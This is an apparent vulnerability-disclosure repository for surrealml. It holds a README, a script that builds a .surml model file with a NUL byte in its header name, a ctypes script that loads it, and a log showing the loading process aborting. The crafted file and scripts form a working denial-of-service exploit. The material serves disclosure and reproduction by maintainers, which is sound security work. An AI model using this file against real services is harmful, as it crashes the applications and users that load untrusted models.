Upload 5 files
Browse files- README.md +51 -0
- craft_malicious_surml.py +27 -0
- malicious_nul_name.surml +0 -0
- trigger_load_model_abort.py +40 -0
- verification-log.txt +22 -0
README.md
ADDED
|
@@ -0,0 +1,51 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
---
|
| 2 |
+
tags:
|
| 3 |
+
- security
|
| 4 |
+
- proof-of-concept
|
| 5 |
+
- surrealml
|
| 6 |
+
---
|
| 7 |
+
|
| 8 |
+
# SurrealML process-abort PoC (`load_model` / embedded NUL byte)
|
| 9 |
+
|
| 10 |
+
This repository contains a proof-of-concept `.surml` file for a responsibly-disclosed
|
| 11 |
+
vulnerability in [`surrealdb/surrealml`](https://github.com/surrealdb/surrealml) (tested at commit
|
| 12 |
+
`152ac2d508f1bae9ee62c46b7d211d80e40a6425`), reported via huntr's Model File Vulnerability
|
| 13 |
+
program.
|
| 14 |
+
|
| 15 |
+
## What this file is
|
| 16 |
+
|
| 17 |
+
`malicious_nul_name.surml` is a syntactically valid (but minimal) SurrealML container: a 4-byte
|
| 18 |
+
big-endian header-length prefix, a header whose `name` field is the literal string
|
| 19 |
+
`evil\x00name` (a raw embedded NUL byte, all other header fields left empty/fresh), and 16 bytes
|
| 20 |
+
of placeholder model data. It follows exactly the header format documented and unit-tested in the
|
| 21 |
+
project's own `modules/core/src/storage/header/mod.rs`.
|
| 22 |
+
|
| 23 |
+
## What happens when you load it
|
| 24 |
+
|
| 25 |
+
```python
|
| 26 |
+
import ctypes
|
| 27 |
+
lib = ctypes.CDLL("libc_wrapper.so") # or .dll / .dylib
|
| 28 |
+
lib.load_model(b"malicious_nul_name.surml")
|
| 29 |
+
```
|
| 30 |
+
|
| 31 |
+
`load_model()` reads and parses the file successfully (the header format tolerates an embedded
|
| 32 |
+
NUL byte fine), then panics while converting the `name` field to a C string
|
| 33 |
+
(`CString::new(name).unwrap()` at `modules/c-wrapper/src/api/storage/load_model.rs:124`), since a
|
| 34 |
+
`CString` cannot represent an interior NUL byte. Because `load_model` is a plain `extern "C" fn`
|
| 35 |
+
rather than `extern "C-unwind"`, this panic aborts the entire host process — it cannot be caught
|
| 36 |
+
as an exception by a Python/Node/etc. caller, and no error result is ever returned.
|
| 37 |
+
|
| 38 |
+
A single ~65-byte file is enough to kill any process that calls `load_model()` on it — no
|
| 39 |
+
inference, no other API call required.
|
| 40 |
+
|
| 41 |
+
See the reporter's full write-up submitted via huntr for the complete technical analysis, the
|
| 42 |
+
related prior-art discussion (GitHub issue
|
| 43 |
+
[surrealdb/surrealml#20](https://github.com/surrealdb/surrealml/issues/20), a similar
|
| 44 |
+
"malformed file crashes the whole server" report from 2024 that was reopened after an incomplete
|
| 45 |
+
fix), and a second, unrelated finding (a use-after-free in the Python client's `to_bytes()`).
|
| 46 |
+
|
| 47 |
+
## Scope note
|
| 48 |
+
|
| 49 |
+
This PoC is provided solely for the purpose of responsible vulnerability disclosure and
|
| 50 |
+
reproduction by the `surrealml` maintainers / huntr triage team. It is not intended for any other
|
| 51 |
+
use.
|
craft_malicious_surml.py
ADDED
|
@@ -0,0 +1,27 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
"""
|
| 2 |
+
Construye a mano un fichero .surml malicioso con un byte NUL embebido en el campo `name`
|
| 3 |
+
del header, replicando exactamente el formato documentado/testeado en
|
| 4 |
+
modules/core/src/storage/header/mod.rs (test_to_bytes) y surml_file.rs (from_file):
|
| 5 |
+
[4 bytes big-endian: longitud del header] + [header UTF-8, campos separados por "//=>"] + [bytes del modelo]
|
| 6 |
+
|
| 7 |
+
Header::to_bytes() serializa 11 elementos unidos por "//=>":
|
| 8 |
+
"", keys, normalisers, output, name, version, description, engine, origin, input_dims, ""
|
| 9 |
+
Un header "fresh" (vacio) es exactamente "//=>//=>//=>//=>//=>//=>//=>//=>//=>//=>" (10 delimitadores).
|
| 10 |
+
Aqui solo se rellena el campo `name` (indice 4) con un valor que contiene un 0x00 interior.
|
| 11 |
+
"""
|
| 12 |
+
import struct
|
| 13 |
+
|
| 14 |
+
parts = ["", "", "", "", "evil\x00name", "", "", "", "", "", ""]
|
| 15 |
+
header_str = "//=>".join(parts)
|
| 16 |
+
header_bytes = header_str.encode("utf-8")
|
| 17 |
+
|
| 18 |
+
model_bytes = b"\x00" * 16 # contenido de modelo irrelevante para este PoC
|
| 19 |
+
|
| 20 |
+
out_path = "malicious_nul_name.surml"
|
| 21 |
+
with open(out_path, "wb") as f:
|
| 22 |
+
f.write(struct.pack(">I", len(header_bytes)))
|
| 23 |
+
f.write(header_bytes)
|
| 24 |
+
f.write(model_bytes)
|
| 25 |
+
|
| 26 |
+
print(f"Escrito {out_path} ({len(header_bytes)} bytes de header + {len(model_bytes)} bytes de modelo)")
|
| 27 |
+
print(f"header_str repr: {header_str!r}")
|
malicious_nul_name.surml
ADDED
|
Binary file (69 Bytes). View file
|
|
|
trigger_load_model_abort.py
ADDED
|
@@ -0,0 +1,40 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
"""
|
| 2 |
+
Llama a load_model() de la libc_wrapper.dll recien compilada sobre el fichero .surml
|
| 3 |
+
malicioso (malicious_nul_name.surml, generado por craft_malicious_surml.py) para confirmar
|
| 4 |
+
si el proceso aborta (Candidato 1 de focus-02-c-wrapper-ffi.md) en vez de devolver un
|
| 5 |
+
FileInfo con is_error=1.
|
| 6 |
+
|
| 7 |
+
Se ejecuta como proceso HIJO separado (ver run_trigger.py) precisamente porque si el bug es
|
| 8 |
+
real, este proceso Python entero morira sin excepcion capturable.
|
| 9 |
+
"""
|
| 10 |
+
import ctypes
|
| 11 |
+
from ctypes import Structure, c_char_p, c_int
|
| 12 |
+
import os
|
| 13 |
+
|
| 14 |
+
DLL_PATH = os.path.abspath(os.path.join(os.path.dirname(__file__), "..", "repo", "target", "release", "c_wrapper.dll"))
|
| 15 |
+
|
| 16 |
+
|
| 17 |
+
class FileInfo(Structure):
|
| 18 |
+
_fields_ = [
|
| 19 |
+
("file_id", c_char_p),
|
| 20 |
+
("name", c_char_p),
|
| 21 |
+
("description", c_char_p),
|
| 22 |
+
("version", c_char_p),
|
| 23 |
+
("error_message", c_char_p),
|
| 24 |
+
("is_error", c_int),
|
| 25 |
+
]
|
| 26 |
+
|
| 27 |
+
|
| 28 |
+
lib = ctypes.CDLL(DLL_PATH)
|
| 29 |
+
lib.load_model.argtypes = [c_char_p]
|
| 30 |
+
lib.load_model.restype = FileInfo
|
| 31 |
+
|
| 32 |
+
print("Antes de load_model() -- si el proceso muere aqui sin imprimir la linea de abajo, "
|
| 33 |
+
"confirma el abort no capturable.")
|
| 34 |
+
outcome = lib.load_model(os.path.abspath("malicious_nul_name.surml").encode("utf-8"))
|
| 35 |
+
print("DESPUES de load_model() -- NO abortó.")
|
| 36 |
+
print(f"is_error={outcome.is_error}")
|
| 37 |
+
if outcome.is_error:
|
| 38 |
+
print(f"error_message={outcome.error_message.decode('utf-8', errors='replace')}")
|
| 39 |
+
else:
|
| 40 |
+
print(f"file_id={outcome.file_id}, name={outcome.name}")
|
verification-log.txt
ADDED
|
@@ -0,0 +1,22 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
=== NUL byte in .surml header name field aborts the whole process via load_model() ===
|
| 2 |
+
Command: python craft_malicious_surml.py && python trigger_load_model_abort.py
|
| 3 |
+
Working dir: targets/surrealml/verify/
|
| 4 |
+
Built artifact: targets/surrealml/repo/target/release/c_wrapper.dll (cargo build -p c-wrapper --release,
|
| 5 |
+
commit 152ac2d508f1bae9ee62c46b7d211d80e40a6425)
|
| 6 |
+
|
| 7 |
+
Escrito malicious_nul_name.surml (49 bytes de header + 16 bytes de modelo)
|
| 8 |
+
header_str repr: '//=>//=>//=>//=>evil\x00name//=>//=>//=>//=>//=>//=>'
|
| 9 |
+
|
| 10 |
+
=== ahora disparando load_model() en un proceso hijo ===
|
| 11 |
+
|
| 12 |
+
thread '<unnamed>' (19392) panicked at modules\c-wrapper\src\api\storage\load_model.rs:124:35:
|
| 13 |
+
called `Result::unwrap()` on an `Err` value: NulError(4, [101, 118, 105, 108, 0, 110, 97, 109, 101])
|
| 14 |
+
note: run with `RUST_BACKTRACE=1` environment variable to display a backtrace
|
| 15 |
+
fatal runtime error: Rust panics must be rethrown, aborting
|
| 16 |
+
EXIT CODE: 127
|
| 17 |
+
|
| 18 |
+
Interpretation: the child process died with "fatal runtime error: Rust panics must be rethrown,
|
| 19 |
+
aborting" -- no FileInfo{is_error:1} was ever returned, no Python exception was raised, the
|
| 20 |
+
"DESPUES de load_model()" line was never printed. A single ~65-byte crafted .surml file (49-byte
|
| 21 |
+
header + 16-byte model) with one embedded 0x00 byte in the model `name` field is enough to abort
|
| 22 |
+
the entire host process calling load_model(), before any inference/compute step.
|